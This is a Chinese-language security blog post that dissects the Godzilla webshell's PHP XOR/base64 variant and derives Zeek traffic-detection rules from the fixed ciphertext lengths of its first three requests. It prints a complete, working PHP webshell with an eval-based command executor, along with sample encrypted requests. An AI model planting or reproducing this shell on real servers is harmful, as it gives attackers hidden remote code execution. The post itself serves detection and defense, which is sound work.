前言
“过市面所有静态查杀”、“流量加密过市面全部流量waf”,伴随着这样的标签,哥斯拉在今年的攻防演练活动中成功亮相。这是赐给红队的又一把尖刀,也让防守队雪上加霜。截至目前,主机层面的主流查杀工具均已覆盖了哥斯拉webshell静态规则,但流量层面的检测可能仍然要打一个问号。
webshell分析
关于哥斯拉的功能,通过《攻防礼盒:哥斯拉Godzilla Shell管理工具》这篇文章可以有比较全面的了解。nercis在《哥斯拉Godzilla运行原理探寻》一文中通过生成的jsp版shell和客户端jar包向大家介绍了其运行原理。
由于哥斯拉在处理jsp和php时加密方式存在差异,本文将从php版的shell展开,对其运行原理再做一下总结和阐述。
先生成一个php静态shell,加密器选择PHP_XOR_BASE64
。
生成的shell代码如下:
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15];
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='s4kur4';
$V='payload';
$T='85f35deb278e136e';
if (isset($_POST[$P])){
$F=O(E(O($_POST[$P]),$T));
if (isset($_SESSION[$V])){
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);
echo substr(md5($P.$T),0,16);
echo Q(E(@run($F),$T));
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
其中比较核心的地方有两处,第一处是进行异或加密和解密的函数E($D,$K)
,第二处是嵌套的两个if
对哥斯拉客户端上传的代码做执行并得到结果。根据$F=O(E(O($_POST[$P]),$T));
这行做逆向判断,可以得到哥斯拉客户端上传代码时的编码加密过程:
原始代码 -> Base64编码 -> E函数进行异或加密 -> 再Base64编码
为了使客户端分离出结果,三个echo
利用md5值作为分离标志,将得到的代码执行结果进行拼接:
md5($P.$T)前16位
结果 -> E函数进行异或加密 -> Base64编码
md5($P.$T)后16位
另外,根据$_SESSION[$V]=$F;
这行判断,客户端首次连接shell时会在$_SESSION
中保存一段代码,叫payload。结合后面突然出现的函数run
,猜测这个payload在后续shell连接过程中可能会被调用。整个shell的运行原理到这里基本就能明确了,可以用下面的流程图来总结:
特征提取
通常,流量层面对恶意行为进行检测,倾向于筛选出一些强特征、固定特征。例如检测使用ceye.io进行的OOB通信,只需要去匹配流量中包含.+\.ceye\.io
的DNS请求,通过四元组即可判断受害主机和攻击者IP,这里ceye.io
关键字就是固定特征。固定特征具有一致性、不易改变的特点,就好似与生俱来的特点。
挖掘哥斯拉强特征
如何寻找哥斯拉的流量特征呢?最先想到的是先前冰蝎的捕获经验,即在shell的建连初期出现的强特征。至于HTTP头部的UA等特征,由于其易被改变,因此暂不考虑。开启Wireshark设置过滤条件,重新打开哥斯拉客户端并添加生成的shell:
此时未出现任何流量。继续右键进入,哥斯拉会返回目标的相关信息,Wireshark瞬间出现3个http包:
跟踪http流,发现3个http包处在同一TCP中,说明哥斯拉使用了TCP长连接,这对流量特征分析比较有利。对这3个http包逐个分析一下。
从shell的代码已知,客户端首次连接shell会上传一段代码payload,以备后续操作调用。查看其请求,发现内容长度居然超过23000字节。同时,http响应内容为空:
使用$F=O(E(O($_POST[$P]),$T))
对这一长串内容进行解密,得到payload的原始内容。好家伙,包含run
、bypass_open_basedir
、formatParameter
、evalFunc
等二十多个功能函数,具备代码执行、文件操作、数据库操作等诸多功能。
第二个http的请求内容为:
s4kur4=VzFlBQUiW1ljVSNFaWJUU2dXaQM%2BICcLZ2lYDA%3D%3D
解密得到原始代码methodName=dGVzdA==
,即methodName=test
。跟踪执行过程,发现最终目的是测试shell的连通情况,并向客户端打印输出ok
。这个过程是典型的固定特征,与第一个http请求一样,上传的原始代码是固定的。
第三个http的作用是获取目标的环境信息,请求内容为:
s4kur4=VzFlBQUiW1ljVSNFaWJUWXgKakIxMlN1UlUjaWdYFWxjHGVBPQsBC2dpWAw%3D
解密得到原始代码methodName=Z2V0QmFzaWNzSW5mbw==
,即methodName=getBasicsInfo
。此操作调用payload中的getBasicsInfo
方法获取目标环境信息向客户端返回。显然,这个过程又是一个固定特征。
至此,成功挖掘到哥斯拉客户端与shell建连初期的三个固定行为特征,且顺序出现在同一个TCP连接中。可以总结为:
特征:发送一段固定代码(payload),http响应为空
特征:发送一段固定代码(test),执行结果为固定内容
特征:发送一段固定代码(getBacisInfo)
强特征规则化
明确了三个紧密关联的特征后,需要对特征规则化。由于对内容的加密,即使哥斯拉每次都发送一段固定代码,检测引擎也无法通过规则直接匹配。另外,webshell的密码、密钥均不固定,代码加密后的密文也不同。
回看webshell代码,$P
和$T
在生成时属于非固定值,但在shell连接的整个生命周期,却又是固定值。$T
是密钥的md5值前16位,属于唯一的加密因子,被用于与原始代码进行异或。哥斯拉进行异或加密时,循环使用加密因子$T
的每一位与被加密字符串进行异或位运算。这就引出了第一个真理:
- 长度为l的字符串与长度为n的加密因子循环按位异或,密文的长度为l
可以取出shell中的E
函数,计算随机字符串的md5对固定字符串做异或,进行穷举验证:
对于哥斯拉中频繁使用的Base64编码,又会引出真理二:
- 长度为l的字符串进行Base64编码后长度为定值
熟悉Base64编码过程的同学应该知道,Base64本质上是由二进制向字符串转换的过程。对长度固定的随机字符串进行Base64编码,穷举验证:
现在基本可以下结论了,即哥斯拉上传的三个固定代码,密文的长度是固定的。计算了一下,分别是23068、40、60。如此一来就能总结出以下三条规则:
Zeek巧妙落地
对规则的落地要依托流量层检测的基础设施,上面总结出的三条规则具有上下文关联性,传统的IDS无法直接实现。这里的难点在于,需要一次性对三个数据包做实时判断,并且需要对包内容做一些字符串的切割、解码操作。能想到的要么是大数据实时计算,要么是Zeek了。
想必熟悉Zeek的同学一定了解其统计框架Summary Statistics,你可以对符合特定条件的数据进行统计、计算。例如统计同一个源IP发起的SSH登录行为并计算次数,在某个时间段内超过阈值$threshold
就产生一条SSH暴力破解的告警。在哥斯拉的场景里,可以巧妙的用Zeek统计框架收集同一TCP连接中的http数据。Zeek脚本语言也完全满足统计数据以后的匹配计算。
先创建一个统计实例,设置延时$epoch
为10秒,统计阈值$threshold
为3,即统计10秒钟内产生的连续3个http包。当事件http_message_done
发生时执行统计并收集数据:
event http_message_done(c: connection, is_orig: bool, stat: http_message_stat)
{
if ( c?$http && c$http?$status_code && c$http?$method )
{
if ( c$http$status_code == 200 && c$http$method == "POST" )
{
local key_str: string = c$http$uid + "$_$" + cat(c$id$orig_h) + "$_$" + cat(c$id$orig_p) + "$_$" + cat(c$http$status_code) + "$_$" + cat(c$id$resp_h)+ "$_$" + cat(c$id$resp_p) + "$_$" + c$http$uri;
local observe_str: string = cat(c$http$ts) + "$_$" + c$http$client_body + "$_$" + c$http$server_body;
SumStats::observe("godzilla_webshell_event", SumStats::Key($str=key_str), SumStats::Observation($str=observe_str));
}
}
}
其中,统计条件为同一TCP连接中HTTP响应为200的数据包,并且具备相同的URI。收集的数据内容主要为包的捕获时间、http请求内容、http响应内容。收集到符合这些条件的数据后数据被带进$threshold_crossed
,此处开始对三个http包进行解析匹配:
if ( |result["godzilla_webshell_event"]$unique_vals| == 3 )
{
for ( value in result["godzilla_webshell_event"]$unique_vals )
{
local observe_str_vector: vector of string = split_string(value$str, /\$_\$/);
# 对请求内容进行URL解码
observe_str_vector[1] = unescape_URI(observe_str_vector[1]);
local request_body_only_value: string;
# 从请求中分离出加密代码部分
request_body_only_value = observe_str_vector[1][strstr(observe_str_vector[1], "=") : |observe_str_vector[1]|];
# 规则1:
# 发送的加密代码长度为23068 && HTTP响应内容为空
if ( |request_body_only_value| == 23068 && |observe_str_vector[2]| == 0 )
{
sig1 = T;
}
local response_body: string = observe_str_vector[2];
# 规则2:
# 加密代码长度为40 && HTTP响应内容长度为40 && 响应内容首尾各16位md5字符串
if ( |request_body_only_value| == 40 && |response_body| == 40 && response_body == find_last(response_body, /[a-z0-9]{16}.+[a-z0-9]{16}/) )
{
sig2 = T;
}
# 规则3:
# 发送的加密代码长度为60 && 响应内容首尾各16位md5字符串
if ( |request_body_only_value| == 60 && response_body == find_last(response_body, /[a-z0-9]{16}.+[a-z0-9]{16}/) )
{
sig3 = T;
}
}
# 三个规则同时符合,进行告警
if ( sig1 && sig2 && sig3 )
{
print fmt("[+] Godzilla traffic detected, %s:%s -> %s:%s, webshell URI: %s", key_str_vector[1], key_str_vector[2], key_str_vector[4], key_str_vector[5], key_str_vector[6]);
}
}
代码实现后,在服务器端启动PHP环境放置哥斯拉shell,启动Zeek监听网卡。本地客户端添加shell后点击进入,顺利打印出告警,令人欣慰:
总结
本文从哥斯拉php版的异或加密shell出发,探索了一种流量层检测哥斯拉的思路和方法。由于哥斯拉php版shell还有另一种加密器,还支持jsp版、.net版等多种情况,鉴于篇幅和工作量,本文未做一一分析和覆盖。正如文章前言所述,其实这样的检测分析文章不舍得发,一旦发了可能才是检测困难真正的开始。